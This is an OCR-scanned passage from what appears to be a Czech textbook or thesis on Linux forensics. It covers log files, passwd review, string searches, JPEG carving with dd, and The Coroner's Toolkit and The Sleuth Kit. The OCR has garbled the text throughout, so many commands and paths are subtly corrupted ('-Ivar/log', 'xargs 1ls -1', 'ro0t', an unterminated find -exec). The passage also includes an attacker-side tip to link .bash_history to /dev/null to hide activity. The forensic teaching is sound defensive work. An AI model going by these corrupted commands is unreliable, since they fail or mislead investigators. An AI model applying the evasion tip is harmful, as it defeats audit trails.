letc/syslog.conf

For info about the format of this file, see "man syslog.conf"

and /usr/doc/sysklogd/README.linux. Note the -’ prefixing some
of these entries; this omits syncing the file after every logging.
In the event of a crash, some log information might be lost, so

if this is a concern to you then you might want to remove the ’-.
Be advised this will cause a performation loss if you're using
programs that do heavy logging.

HoHHHHHFH R

# Uncomment this to see kernel messages on the console.
#kern.* /dev/console

# Log anything ’'info’ or higher, but lower than 'warn’.
# Exclude authpriv, cron, mail, and news. These are logged elsewhere.
* info;*.lwarn;\
authpriv.none;cron.none;mail.none;news.none -/var/log/messages

# Log anything 'warn’ or higher.
# Exclude authpriv, cron, mail, and news. These are logged elsewhere.
*.warn;\

authpriv.none;cron.none;mail.none;news.none -Ivar/log/syslog

# Debugging information is logged here.
*.=debug -/var/log/debug

# Private authentication message logging:
authpriv.* -/var/log/secure

# Cron related logs:
cron.* -/var/log/cron

# Mail related logs:
mail.* -/var/log/maillog
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# Emergency level messages go to all users:
*.emerg *

# This log is for news and uucp errors:
uucp,news.crit -/var/log/spooler

# Uncomment these if you'd like INN to keep logs on everything.
# You won't need this if you don’t run INN (the InterNetNews daemon).

#news.=crit -/lvar/log/news/news.crit
#news.=err -Ivar/log/news/news.err
#news.notice -/var/log/news/news.notice

Je mozné, zZe se setkate s jinym, novejSim spravcem logta nez syslog.
Muze jim byt napr. socklog (http://smarden.org/socklog/).

Pri priizkumu téchto soubord je nutné brat v potaz, Ze mohou byt
utocnikem snadno zménény. Hledame tedy neobvyklé zaznamy. MtiZe se
jednat napft. o chybégjici casti zaznamut nebo ¢asoveé nesmyslné zaznamy.
Ale také informace o neuspésnych prihlasenich, apod. Pokud mame k
dispozici logy ze smérovace, pres ktery byla smérovana data na vysetro-
vany pocita¢, muzeme je vyuzit a udélat jejich srovnani.

Cinnost uzivatele lze mapovat pomoci souboru .bash_history umisté-
ného v domovském adresari kazdého uzivatele. Opét je potreba mit na
paméti, ze pri implicitnim nastaveni mutzZe sam uzivatel tento soubor
snadno modifikovat. Kdybych byl v roli tto¢nika a chtél zamezit tomuto
zpétnému mapovani mé cinnosti, propojil bych soubor .bash_history se
zarizenim /dev/null.

4.4.2 Kontrola systémovych souboru

Prvné bychom meéli prozkoumat soubor /etc/passwd a k nému patrici sou-
bor /etc/shadow. V téchto souborech se nachazi seznamy uzivatela a jejich
atributy. Tento soubor miiZe vypadat napr. takto:

root@investigator:/mnt/hdal/# cat etc/passwd
root:x:0:0::/root:/bin/bash

bin:x:1:1:bin:/bin:

daemon:x:2:2:daemon:/shin:
adm:x:3:4:adm:/var/log:
Ip:x:4:7:1p:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/:
news:x:9:13:news:/usr/lib/news:
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uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:0perator:/root:/bin/bash
games:x:12:100:games:/usr/games:
ftp:x:14:50::/home/ftp:
smmsp:x:25:25:smmsp:/var/spool/clientmqueue:
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash
rpc:x:32:32:RPC portmap user:/:/bin/false
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
pop:x:90:90:POP:/:

nobody:x:99:99:nobody:/:
sshd:x:33:33:sshd:/:

Protoze predpokladam, ze ctenar disponuje urcitou urovni unixovych
znalosti, nebudu detailné vysvétlovat, co jednotlivé polozky znamenaji.
Pro ulohu vySetrovatele je dulezité, aby si vSiml potencialnich abnormalit
v polozkach tohoto souboru. Muize se jednat napr. existenci vice uziva-
telt s UID/GID rovno hodnoté "0", coz by znamenalo, Ze takovy uzivatel
ma nejvyssi privilegia. MtiZze to byt napr. podezrelé umisténi uzivatele s
UID/GID mensim jak 500 na konci souboru, apod.

Mezi dalsi soubory, v kterych bychom mohli hledat dtikazy patri /etc/
inetd.conf, popr. noveéjsi /etc/xinetd.conf. Dale rc skripty v adresari /etc/
rc.d/, popr. adresarich /etc/rc0.d, /etc/rcl.d, atd. Také bychom meéli na-
hlédnout do soubort®1 /etc/host.allow a /etc/host.deny. Modifikovan mutize
byt také skript s prikazy iptables.

Moznosti je mnoho. Vzdy zalezi na schopnostech a zamérech utocnika.
Je na vySetrujici osobé€, aby tyto vazby a souvislosti nasla a pokud mozno,
co nejkompletnéji zdokumentovala a vytvorila tim tak silny dikazni ma-
terial.

4.4.3 Prohledavani souboru

Casto je vyhodné vytvofit kompletni seznam vSech soubort v systému
vcetneé jejich pristupovych prav, pristupovych cast, velikosti, apod. Jedna
se o jakousi formu zakladni dokumentace, ktera je casto formalné nutna.
A neformalné je vySetrovateli velmi uzitecna. Takovy seznam lze vytvorit
prikazem:

ls -alR /mnt/hdal > /evidence/seznam_souboru
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Lze to udélat i 1épe a nechat si napft. zobrazit jesté Cislo inode, ke kte-
rému soubor patri a seznam setridit podle pristupového casu:

ls -laiRtu /mnt/hdal > /evidence/seznam_souboru

Nyni v tomto seznamu lze rychle vyhledavat jednotlivé soubory. Napr.
pokud by méli byt vyhledany vSechny soubory s priponou ".jpg" napsalo
by se:
grep -i .jpg seznam_souboru

OvSem to nezajisti, ze bude vypsan seznam se soubory typu JPEG.
JPEG soubory nemusi mit vibec koncovku .jpg a naopak zase soubory
s koncovkou .jpg nemusi byt soubory typu JPEG. Pokud by vySetrova-
tel chtél vyfiltrovat opravdu pouze soubory, obsahujici obrazek, pouzil by
nejdrive nasledujici prikaz k tvorbé seznamu souboru i s jejich typy:

find /mnt/hdal -type f -exec file {} > /evidence/seznam_souboru

A nasledné lze z tohoto seznamu vyfiltrovat soubory s obrazky prika-
zem:

cat /evidence/seznam_souboru | grep image

Vlastné jsou vybirany jednotlivé radky obsahujici retézec "image". Je
zrejmé, ze prikazova radka v Linuxu je velmi mocny nastroj.

Kdyby mél vySetrovatel najit napr. vSechny soubory modifikované za
poslednich 24 hodin, pouzil by prikaz:

find . -mtime -1 -type f -print | xargs 1ls -1
Prikazem grep 1ze vyhledavat i v binarnich souborech, napr.:
grep PROMISC /sbin/ifconfig

Timto prikazem se vSak lze dozvédét pouze to, zdali je retézec obsazen.
Pokud by mél byt i zobrazen, musel by se pouzit prikaz:

grep -a PROMISC /sbin/ifconfig
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Prikazem grep lze provadét i rozsahlejsi logické prohledavani. Chceme
napr. prohledat vSechny soubory na zkoumaném médiu na retézec "rOOt".
Rekurzivni prohledavani by bylo realizovano prikazem:

grep -r -i ro0t

VysSetrovatel by si mél vSimat podezrelych soubort s nazvy napr. "...".
V Linuxu muze byt nazev souboru také jen mezera! Takové soubory se
casto nachazeji v adresari /tmp, kam maji implicitné pravo zapisu vsichni
uzivatelé. Vsimat by si mel také neobvyklych odkazti (symlinkt, popf.
hardlinkt). A také by meél proverit vSechny SUID a SGID soubory.

Narazi napr. na néjaky neznamy binarni soubor (typ souboru lze zjistit
prikazem file). K jeho prozkoumani mtiZze pouzit prikaz strings. Vypis
neznameého souboru prikazem strings by mohl vypadat takto:

root@investigator:/mnt/hdal/# strings -a tmp/.lunch_me_dude
llib/ld-linux.so0.2
__gmon_start__

libpam.so.0

_DYNAMIC
_GLOBAL_OFFSET_TABLE_
pam_set_item
__ctype_tolower

malloc

pam_start

File

Compressed

Block

Stream

[nowhere vyet]

ftpd
:aAvdlLiop:P:qQr:sSt:T:u:wWX

VirtualFTP Connect to: %s [%S]

logfile

email

Ivarllog/xferlog

connection refused (server shut down) from %s
%s FTP server shut down -- please try again later.
slong

/bin/ls -la

full

terse

brief

%s FTP server (%s) ready.

%s FTP server ready.

FTP server ready.
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FTP LOGIN REFUSED (already logged in as %s) FROM %s, %s

Already logged in.

letc/ftphosts

FTP LOGIN REFUSED (name in %s) FROM %s, %s

anonymous

FTP LOGIN REFUSED (anonymous ftp denied on default server) FROM %s, %s
FTP LOGIN REFUSED (ftp in denied-uid) FROM %s, %s

letc/ftpusers

Pozn.: Vypis je zamérné zkracen.

Podle vypisu to vypada, ze je spoustén FTP server. To vysoce indikuje,
Ze se jedna o rootkit nebo jinou formu trojského koné, backdooru, apod.

Prikazem strings lze také zvladnout prizkum kopie paméti RAM ze
souboru /dev/kmem, kKterou vysSetrovatel extrahoval z poskozeného systému.
Tento prikaz vypisuje tisknutelné znaky. Implicitné retézce o velikosti ale-
spon 4 znaku. Pro prohledani pameéti RAM by se provedl prikaz:
strings -t d /evidence/obraz_RAM > /evidence/obraz_RAM_retezce

Nasledné v souboru s retézci 1ze vyhledavat napr. takto:
grep "root@" /evidence/obraz_RAM_retezce

Nebo 1ze vyhledavat IP adresy a doménova jména:
grep -e "[0-9]+.[0-9]+.[0-9]+.[0-9]+" obraz_RAM_retezce

grep -e "victim.com" obraz_RAM_retezce

Nékdy se také hodi zkonvertovat soubor tak, aby posledni radka byla
ctena prvni a naopak. To lze provést prikazem tac.

Podle nalezenych offseti 1ze nalézt prislusné radky, kde se nachazi
odpovéd v jaké souvislosti byly retézce pouzity - viz. dalsi sekce "Hledani
retézcu v nealokovaném a slack prostoru".

Podobneé lze prozkoumat i oblast SWAP nebo obraz celého disku. Pro-

hledavana jsou i nealokovana data a slack space - viz dalsi sekce "Hledani
retézcu v nealokovaném a slack prostoru".
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4.4.4 Hledani Fetézcu v nealokovaném a slack prostoru

Obraz zkoumaného disku umozni zkoumat nejen vsechny soubory a ad-
resare (tj. logicky priizkum), ale také nealokovany prostor (smazané sou-
bory) a slack prostory - j. fyzicky pruzkum. Jak vibec odstranovani sou-
bort v unixovych systémech funguje. Systém uklada informace o soubo-
rech do tzv. i-nodu (¢esky nékdy nazyvany i-uzly). Jsou to jakasi fyzicka
umisteéni, obsahujici informace o souborech jako atime, mtime, ctime, pri-
stupova prava nebo ukazatele na fyzické bloky na jednotce, které obsa-
huji samotna data souboru. Dale jsou v uzlu informace o poctu odkazu,
velikosti souboru a seznam blokti dat. Obycejné ma soubor nenulovy po-
cet odkazu. Pokud je soubor standardné smazan (tzn. prikazem rm), je
pocet odkazu vynulovan. OvSem data, na ktera soubor ukazoval, odstra-
néna nejsou! Kdyz bychom tedy chtéli obnovit konkrétni soubor, potre-
bovali bychom ¢islo uzlu. Metody vyuzivajici této vlastnosti systému pri
obnovovani soubort popisuji v nasledujici kapitole 5 "Pouziti specializo-
vanych vysetrovacich nastroju".

Nejprve je potreba si pripravit soubor s klicovymi slovy, ktera se chceme
pokusit vyhledat - jakysi "wordlist". Jakozto vySetrovatelé vytvorime sou-
bor /evidence/wordlist.txt, ktery by mohl obsahovat napr. tato slova:

murder
ransom
$1 000 000

Toto by mohlo vyhovovat spiSe pri vySetrovani pocitace napr. v pripadu
unosu. Je potreba si dat pozor, aby zadny radek nebyl prazdny.

K samotnému vyhledavani retézct se pouzije prikaz grep. Pfikaz by vy-
padal nasledovneé:

grep -aibf /evidence/wordlist.txt /evidence/forenzni_duplikat
> /evidnce/nalez.txt

Prepinac -a rika programu, aby vyhodnocoval vSechny (tzn. i binarni)
soubory jako text. Prepinac -i zaridi, aby se ignorovala velka a mala pis-
mena. Prepinacem -b je zajiSténo, aby pred nalezenym textem bylo cislo
bajtového offsetu. Pomoci ného budeme moci snadno lokalizovat misto,
kde byl retézec nalezen. Prepinac -f jiz patri k rutiné vstupniho souboru
prikazu grep.
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Vysledny soubor /evidence/nalez.txt by mohl vypadat nasledovneé:

86744 :wanna prevent that murder

86787:ther’s no problem with realizing ransom

86789:do not try to contact cops. Just transfer $1 000 000 into my Seyshel
bank account.

Vétsinou je potreba vidét nalezené retézce v SirSim kontextu. K tomu
slouzi utilita xxd, ktera vytvori hexadecimalni vystup ze souboru nebo
standardniho vstupu. Umi i obraceny postup. Tomuto prikazu se po-
stupné zadaji jako vstupy nalezené offsety:

xxd -s 86744 /evidence/forenzni_duplikat | less

Timto zptisobem jsme schopni nashromazdit mnozstvi cennych du-
kazt o cinnosti pachatele a jejich souvislostech.

Co kdyz je vsak hledan napr. JPEG obrazek a je potreba ho zobrazit.
To znamena "vyriznout" tento obrazek ze surovych dat a prevést ho do
takové podoby, aby byl zobrazitelny. Také to jde a pomutzZe opét robustni
linuxova prikazova radka. OvSsem nutno upozornit, Ze tato technika vét-
Sinou neni deélana rucne, ale vyuziva se specializovanych nastroju. Ja
ovSem pro detailni porozumeéni probirané tématiky tuto techniku popisi.

Dejme tomu, Zze mame obraz pameéti RAM v souboru obraz_RAM. Aby bylo
mozné takovy obrazek z tohoto obrazu vyriznout, musi byt znamo, kde
zacit rezat a kolik uriznout, obrazné receno. Postup bude tedy nasledujici:

* najit zacatek souboru s obrazkem typu JPEG
* najit konec souboru s obrazkem typu JPEG
¢ spocitat velikost souboru s obrazkem typu JPEG

* samotné vyextrahovani souboru s obrazkem typu JPEG.
Z charakteristiky soubort typu JPEG lze vycist, Ze tyto soubory zaci-
naji hexadecimalnim retézcem "ffd8" a konci "ffd9". Utilitou xxd 1ze offset

najit - tzn. pozici, kde se v obraze retézec "ffd8" nachazi:

xxd obraz_RAM | grep ffd8
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Nalezeny offset ma napr. hexadecimalni hodnotu "00154EQ". Tato hod-
nota musi byt prevedena do desitkové soustavy:

echo "ibase=16; 00154E0" | bc

Vystup tohoto prikazu je hodnota "87264". K tomuto ¢islu se prictou
4 bajty, které zabira retézec "ffd8" a vysledkem je hodnota "87268", coz je
skutecny zacatek souboru JPEG. Nyni lze prejit k hledani konce souboru:
xxd -s 87268 obraz_RAM | grep ffd9

Prepinac -s specifikuje, kde zacit hledat. Vysledkem muze byt offset
"O0155F0". Jeho decimalni hodnota je "87536". K tomu se pridaji 2 bajty,
jakozto zacatek radku a vysledkem je skutecny konec souboru "87538".
Dale je potreba zjistit velikost samotného souboru JPEG:
echo "87538 - 87268" | bc

Tento prikaz zjisti velikost obrazku, ktera je v tomto pripadé 260 bajtu.
Coz by realné znamenalo opravdu "maly" obrazek. Nyni zbyva jiz jen vy-
riznout graficky soubor z obrazu:

dd if=obraz_RAM of=obrazek.jpg skip=87268 bs=1 count=260

V tuto chvili je jiz soubor s obrazkem obrazek.jpg vyriznut a lze ho
béznymi nastroji prohlizet.
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Kapitola 5

Pouziti specializovanych
vySetrovacich nastroju

Do ted bylo popisovano vySetrovani pomoci standardnich linuxovych na-
stroju. Bylo demonstrovano, Ze linuxova prikazova radka je velmi mocny
a robustni nastroj. OvSem nékdy bude nutné pouzit specializovanych na-
strojti, pomoci kterych budou nékteré praktiky zautomatizované a tudiz
efektivnéjsi.

V této casti bude predstaveno nékolik specializovanych nastroju, kte-
rymi lze investigativni ¢innost zjednodusit a zefektivnit. Zminim zde jak
Open Source aplikace, tak nékteré proprietarni.

5.1 The Coroner’s Toolkit

The Coroner’s Toolkit (TCT je sada nastroji od autora Dan Farmer a Wi-
etse Venema. Jedna se o textové nastroje urcené pro efektivni forenzni
priuzkum unixového systému. Sami autori rikaji, Ze toto softwarové vyba-
veni nema jednoznacné vytyceny jeden cil, ale Ze s nim lze rekonstruo-
vat udalosti, které se v systému staly, "snimkovat" (z angl. "making sna-
pshot") zkoumany pocitac, atd. Aplikace spada pod IBM Public Licence a
jeji zdrojové kody jsou plné k dispozici.

Program je kompatibilni kromeé Linuxu i se systémy FreeBSD, OpenBSD,
SunOS a nékterymi dalsimi. Pokud je zvoleno nainstalovani kompletni
sady nastroji, budou k dispozici tyto hlavni nastroje - grave-robber, coz je

'Domovska stranka projektu: http://www.porcupine.org/forensics/tct.html
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hlavni program. Dale program unrm pro obnoveni nealokovanych sektort.
A nakonec program lazarus pro obnovovani smazanych soubort. Hlavni
program grave-robber vyuziva dalSich podprogramii:

file - rozeznavani typu souboru.

icat - kopiruje soubory podle ¢isla i-uzlu.

ils - vypiSe informace o i-uzlu.

lastcomm - vypiSe informace o zadanych prikazech.
mactime - vypiSe atime, mtime a ctime.

md5 - vytvareni MD5 hashi.

pcat - vypiSe pamét procesu.

TCT dale obsahuje par extra programui. Patfi mezi né:

bdf - prochazi rekurzivné textové i binarni soubory a hleda potenci-
alni zajimavosti.

ils2mac - konvertuje vystup programu ils, aby byl pouzitelny pro
program. mactime. Timto lze ziskat pristupové casy smazanych sou-
bort.

realpath - ziskavani skutecnych cest k souboru - vcetné odkazu,
apod.

findkey - hledani kryptografickych klicti.

entropy - pocita entropii dat

Pokud je potreba udélat kompletni analyzu dat, 1ze spustit program
grave-robber. Ten ma mnoho uzitecnych prepinact - napr. -v pro "ver-
bose" mod, -f pro rychly mod, ktery zrychli cely proces tim, ze se nebudou
vytvaret MD5 hashe souborti nebo prepinac -p pro kopirovani paméti pro-
cesu. Pokud pustime grave-robber bez parametrii, bude samotna analyza
pravdépodobné trvat relativné dlouho - v radu hodin. Po nashromazdéni
dat vytvoril program soubory error.log, coroner.log a pak samozrejmeé sa-
motna sesbirana data. V souboru error.log jsou zaznamenana vsechna
selhani, ktera v prabéhu analyzy nastala a v souboru coroner.log jsou
zaznamenany vsechny akce, které program provedl.
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Hlavni vyhodou je, ze kompletni analyza zahrnuje predevsim logickou
analyzu unixového systému. To vétSina jinych programti neumoznuje.
Proto bych povazoval prave tuto aplikaci za velmi prinosnou v oblasti fo-
renzni analyzy unixovych systémi.

Shromazdéna data se skladaji z:

¢ adresare proc, ktery obsahuje vypisy bézicich procesu a jejich hashe.

* adresare command_out, ktery obsahuje vystupy spustitelnych soubort
pod programem grave-robber.

® soubor body, coz je databaze mtime, atime a ctime.
* soubor body.S obsahujici atributy SUID/SGID soubort

® adresar removed_but_running obsahujici seznam smazanych soubort,
které jsou stale otevrené.

® adresar conf_vault obsahuje seznam vSech souboru, které uznal
grave-robber za zajimave.

® adresar user_vault obsahuje informace o uzivatelich.
¢ adresar trust obsahujici informace o vztazich duveéry v systému.
* soubor MD5_all obsahujici MD5 hashe vSech zkoumanych souboru.

® soubor MD5_all.md5 obsahuje MD5 hash samotné databaze MD5_all
pro nejvyssi bezpecnost.

Podivame se na dalsi nastroj unrm, kterym Ize obnovit nealokované sek-
tory dat. Dejme tomu, Ze vySetrovatel potrebuje prozkoumat nealokovana
data pripojena k adresari /mnt/usb. Nejdrive se musi zjistit, kolik takova
data budou zabirat mista na disku:

root@investigator:/mnt/hdal/# df /mnt/usb
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/sdal 28308720 24330672 3978048 86% /mnt/usb

V tomto pripadé zabiraji nealokovana data 3978048 blokt po 1 kilo-
bajtu - tj. 3885 megabajti. Na to si vySetrovatel musi davat pozor, protoze

2Dohromady oznacovano jako MACtime - proto nazev programu mactime.
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vystup prikazu unrm bude v tomto pripadeé asi 3,8 gigabajtti. Samotny pri-
kaz pro obnoveni nealokovanych dat by vypadal takto:

unrm /mnt/usb > /evidence/data_unrm
Nyni je vySetrovatel schopen zkoumat data ze souboru /evidence/data_unrm.

Pokud je k dispozici dost ¢asu, lze pouzit utilitu lazarus k obnoveni
souboru podle jejich typu. Program obsahuje HTML vystup, se kterym lze
jednotlivé soubory prohlizet napr. v internetovém prohlizeci.

Nakonec k programu TCT popiSi pouziti subprogramu icat a ils, které
se casto pouzivaji samostatné. Jiz jsem popsal, k ¢cemu slozi i-uzly a jak
funguje odstranovani soubort. Pokud je potreba zjistit ¢islo i-uzlu existu-
jiciho souboru, tak je to snadné. Lze to provést prikazem 1s -i. Samotny
soubor 1ze samozrejmeé také zobrazit jednoduse. Pokud je vSak soubor
odstranén, jiZz soubor standardné zobrazit nelze. Cislo i-uzlu smazaného
souboru lze zjistit jiz probiranym prfikazem 1sof, za podminky, Ze proces
stale bézi. Pokud je k dispozici ¢islo i-uzlu, 1ze pouzit prikaz:

icat /dev/hdal 88874 > soubor_recovered
V tomto pripadé je Cislo i-uzlu "88874".

Samozrejmeé vzdy vySetrovatel nevi, co ma na zkoumané jednotce hle-
dat. Utilita ils mu pomuze identifikovat i-uzly, které mohou obsahovat
data. Muze pak napriklad vyhledat odstranéné soubory, které patrily uzi-
vateli s UID 1000:

root@investigator:/mnt/hdal/# ils -e /dev/hdal | grep 1000
15/a]1000|100|1100890933|1135184332|1135184705|0|100644|1|32239|20480|20481
16]a]1000]100]|1100890933]|1135184332|1135184705|0]100644|1|32836|20488|20489
17|a]1000|100|1101141415|1135184332|1135184712|0|100644|1|24628|20497|20498
18|a]1000|100|1105735719|1135184332|1135184714|0]100644|1|1315|20504|0
19|a|1000|100|1105735719|1135184332|1135184714|0|100644|1|58|20505|0
20]a|1000]100]1105735719|1135184332|1135184714|0|100644|1|4880]20506|20507
21]aj1000]100|1105735719|1135184332|1135184714|0]100644|1|17889|20508|20509
22|a|1000|100|1105735719|1135184332|1135184714|0|100644|1|3234|20513|0
23|aj1000]100]1114938337|1135184332|1135184774|0]100644|1|1932|20514|0
24|a]1000]100|1114938337|1135184332|1135184774|0|100644|1|16225|20515|20516
25|a|1000|100|1114938337|1135184332|1135184774|0|100644|1|43|20519|0
26|a]1000]100]1114938337|1135184332|1135184774|0]100644|1|43|20520|0
27|a]1000]100|1117047738|1135184332|1135184774|0]100644|1|23259|20521|20522
28|a|1000|100|1118945421|1135184332|1135184784|0|100644|1|27247|20527|20528
163|a|0]0]961041000|1136407140|1136407166|0|100644|1|22328]|18606|18607
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173|a|1000|1000|1142269510|1142269510|1142269510|0|100644|1]289|4127|0
407|a1000|1000|1138878003|1138878003|1138878003|0|100644|1|316|28672|0
408]a|1000|1000|1138713757|1138878003|1138713757|0|100644|1|11684|28680|28681
409]a|1000|1000|1138878003|1138878003|1138878003|0|100644|1|306/4096|0
410|a|1000|1000|1138713757|1138878003|1138713757|0|100644|1|9328|4104]4105

Pozn.: Jedna se pouze o prvnich dvacet radkl vystupu. Cely vystup
muze byt velmi dlouhy v zavislosti na velikosti zkoumané jednotky.

5.2 The Sleuth Kit a Autopsy

The Sleuth Kit (TSKE] je sada unixovych nastrojii pro forenzni vySetrovani
digitalnich dat - specialné souborového systému. Jeho soucasti je také
GUI utilita Autopsy Browser, o které si také néco povime.

Autorem této aplikace je Brian Carrier. Toto softwarové vybaveni je
castecné zalozeno na The Coroner’s Toolkit. Zdrojové kody jsou volné ke
stazeni. The Sleuth Kit je podporovan operacnimi systémy Linux, Mac
OS X, OpenBSD, FreeBSD, Solaris nebo ho lze spustit pres CYGWIN.
Mezi podporované souborové systémy patri NTFS, FAT, FFS, Ext2 a Ext3,
UFS1/2, SWAP data a raw data. Podpora ReiserFS, JFS a XFS chybi.
Také lze zpracovavat pouze obrazy jednotlivych oddilt - tzn. ne celého
disku.

Jednotlivé nastroje této aplikace lze rozclenit do nékolika vrstev. Do
prvni vrstvy File System Layer Tools patri utilita fsstat, ktera vypisuje za-
kladni udaje o souborovém systému.

Do druhé vrstvy File Name Layer Tools spada utilita ffind, ktera vypi-
suje alokovana i nealokovana jména souboru vazici se k zadanému i-uzlu.
Dale do této skupiny spada utilita fls, ktera vypisuje alokované a sma-
zané soubory (i adresare).

Dalsi skupinu Meta Data Layer Tools zastupuje jiz popsany icat, ils.
Dale ifind, ktery najde i-uzel k zadanému jménu souboru nebo jiné da-
tové strukture (block, cluster, apod.) a to i v nealokovaném prostoru. Na-
konec istat zobrazuje informace o datové strukture v uzivatelsky priveti-
véjSim formatu.

3Domovska stranka projektu: http://www.sleuthkit.org.
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Data Unit Layer Tools obsahuje program dcat, ktery extrahuje obsah
zadané datové struktury. Utilita d1s zobrazi informace o datové strukture
a také umi extrahovat nealokované prostory souborového systému. Utili-
tou dstat si zobrazime statistické informace o zadané datové strukture ve
snadno cCitelném formatu. Posledni utilita této skupiny dcalc pocita, kde
data v nealokovaném prostoru jsou.

Dalsi skupina File System Journal Tools obsahuje utility pro praci se
zurnalem. Patri sem prikaz jcat, ktery zobrazuje obsah urcitého bloku
zurnalu. A dale jl1s, ktery vypisuje pristupy do zurnalu.

Dalsi skupina Media Management Tools obsahuje utilitu mmls pro zob-
razeni struktury disku.

Do skupiny Image File Tools patri img_stat, ktera zobrazuje informace
o obrazu.

Posledni skupina Disk Tools obsahuje utility disk_sreset, kterou lze do-
casné odstranit HPA (Host Protected Area) na discich ATA. Disk_stat pak
ukazuje, zdali HPA na disku existuje.

Cely balik obsahuje jesté dalsi utility jako hfind pro praci s hash data-
bazemi NIST NSRL, Hashkeeper nebo jiné databaze vytvorené programem
md5sum. Utilita mactime vytvori jakousi casovou radu s udalostmi, které se
s danym souborem dély. Jako vstup bere vystup programu fls a ils.
Program sorter tridi vyhledané soubory. Posledni program sigfind hleda
binarni hodnoty pri zadaném offsetu, coz je vhodné pro hledani ztrace-
nych datovych struktur.

Nékolik téchto programti predstavim v praxi. Prikaz fsstat vypisuje in-
formace o souborovém systému. Jako vypis mu zadame soubor s obrazem
(Ize zadat i soubor zarizeni s oddilem):

root@investigator:/# fsstat /evidence/forenzni_duplikat
FILE SYSTEM INFORMATION

File System Type: FAT16

OEM Name: MSDOS5.0

Volume ID: 0x58eee665

Volume Label (Boot Sector): LABEL1
Volume Label (Root Directory): LABEL2
File System Type Label: FAT16
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Sectors before file system: 8064

File System Layout (in sectors)
Total Range: 0 - 20159

* Reserved: 0 - 1

** Boot Sector: 0

* FAT 0: 2 - 80

* FAT 1: 81 - 159

* Data Area: 160 - 20159

** Root Directory: 160 - 191
** Cluster Area: 192 - 20159

METADATA INFORMATION

Range: 2 - 319490
Root Directory: 2

CONTENT INFORMATION

Sector Size: 512
Cluster Size: 512
Total Cluster Range: 2 - 19969

FAT CONTENTS (in sectors)

192-192 (1) -> EOF
193-202 (10) -> 232
203-231 (29) -> EOF
232-410 (179) -> EOF

Program rozpoznal analyzovany souborovy systém jako FAT16 a uvedl
k nému dalsi informace o poctu sektort, velikosti clusterua, atd.

Prikazem fls lze ze zdrojového obrazu vypsat jména souborti a adre-
saru s jejich atributy. Navic je nastaveno, aby se filtrovaly jen soubory -
tzn. ve vypisu nebudou zahrnuty adresare. Prohledavani bude rekurzivni
- tzn. ze budou vypisovany soubory i z podadresaru. Takovy prikaz by
vypadal nasledovneé:

root@investigator:/# fls -f ext -Frd /evidence/forenzni_duplikat
r/- * O: etc/network/.interfaces.swp

r/- etc/network/interfaces~

r/- etc/default/ssh.dpkg-new

r/- etc/default/dbus.dpkg-new

r/- etc/default/hal.dpkg-new

r/- etc/default/hplip.dpkg-new

r/- etc/skell/.bashrc.dpkg-new

r/- etc/skel/.bash_profile.dpkg-new

r/- etc/bash_completion.d/pon.dpkg-new

r/- etc/bash_completion.d/ooo-wrapper.sh.dpkg-new
r/- etc/apt/apt.conf.d/99base-config

E o R S . . N N

QR
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r/-
r/-
r/-
r/-
r/-
r/-
r/-
r/-
r/-
r/-
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I

CEEELeLooQ

etc/apt/apt.conf.d/20archive.dpkg-new
etc/apt/.sources.list.swp

etc/apt/4913

etc/apt/sources.list~
etc/apt/.#lkOx8111laa0.smudlinka.25621
etc/apt/trustdb.gpg.lock
etc/apt/secring.gpg.lock
etc/apt/trusted.gpg.tmp
etc/dpkg/origins/debian.dpkg-new

0: etc/dpkg/dselect.cfg.dpkg-new

721009(realloc):
721007(realloc):
720988(realloc):
720966(realloc):
721011 (realloc):
720989(realloc):
721985(realloc):
721984(realloc):
721426(realloc):
721437 (realloc):
722005(realloc):
722004(realloc):
721986(realloc):
721994 (realloc):
722002(realloc):
722003(realloc):
721574(realloc):
721417(realloc):
722007 (realloc):

etc/alternatives/awk.1.gz
etc/alternatives/rmt.8.gz
etc/alternatives/rmt

etc/alternatives/w
etc/alternatives/w.1.9z
etc/alternatives/pager.1.gz
etc/alternatives/x-window-manager.1.gz
etc/alternatives/x-window-manager
etc/alternatives/x-terminal-emulator.1.gz
etc/alternatives/x-terminal-emulator
etc/alternatives/irc.1

etc/alternatives/irc
etc/alternatives/x-cursor-theme
etc/alternatives/py2.4gtk.py
etc/alternatives/irssi
etc/alternatives/irssi.1.gz
etc/alternatives/cli.1.gz
etc/alternatives/aterm
etc/alternatives/gnome-video-thumbnailer

Nyni lze prikazem istat zobrazit informace o i-uzlu nékterého ze sou-
bort. Tak napriklad soubor z etc/alternatives/rmt.8.gz ma cislo i-uzlu
721007. Informace o jeho i-uzlu by se zobrazila prikazem:

root@investigator:/# istat -f ext /evidence/forenzni_duplikat 721007
inode: 721007

Allocated

Group: 44

Generation 1d: 1535040592

symbolic link to: /usr/share/man/man8/rmt-tar.8.9z

uid / gid: 0/ 0

mode: IrwxXrwxrwx

size: 32

num of links: 1

Inode Times:
Accessed: Wed Mar 15 03:34:43 2006
File Modified: Fri Nov 18 15:21:31 2005

Inode Modified: Fri Nov 18 15:21:31 2005

Direct Blocks:
0
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Vypsany jsou vSechny informace, které i-uzel charakterizuji, a o kte-
rych jsem se jiZz zminil drive. Lze si vSimnout, Ze pocet odkazti tohoto
i-uzlu je roven 1, tzn. zZe se jedna o existujici soubor. Uz ve vypisu pri-
kazu fls je patrné, ze se jedna o realokovany soubor.

Pokud by se jednalo o soubor s poctem odkazti rovny nule, tzn. od-
stranény soubor, 1ze se ho pokusit obnovit prikazem icat. Pouzil by se
prikaz:

icat -f ext /evidence/forenzni_duplikat 721007 > /evidence/obnoveny_soubor

V souboru /evidence/obnoveny_soubor by se mél nachazet obnoveny sou-
bor. Lze zkusit rozpoznat typ souboru prikazem file.

Kdyby byl jesté udéelan vypis zmény MAC cast nealokovanych i-uzlua
prikazem:

ils -f ext -m /evidence/forenzni_duplikat » MAC_vypis

A ziskana data byla naformatovana prikazem mactime, kterému jako
vstup zadame vystup prikazu ils a soubory /etc/passwd a /etc/group zkou-
maného systému, aby byla misto UID a GID vidét systémova jména uzi-
vateld, tak by Slo vytipovavat potencialné podezrelé soubory hromadné.
Cely prikaz by vypadal nasledovneé:

mactime -b MAC_vypis -p /evidence/passwd -g /evidence/group 03/02/2006

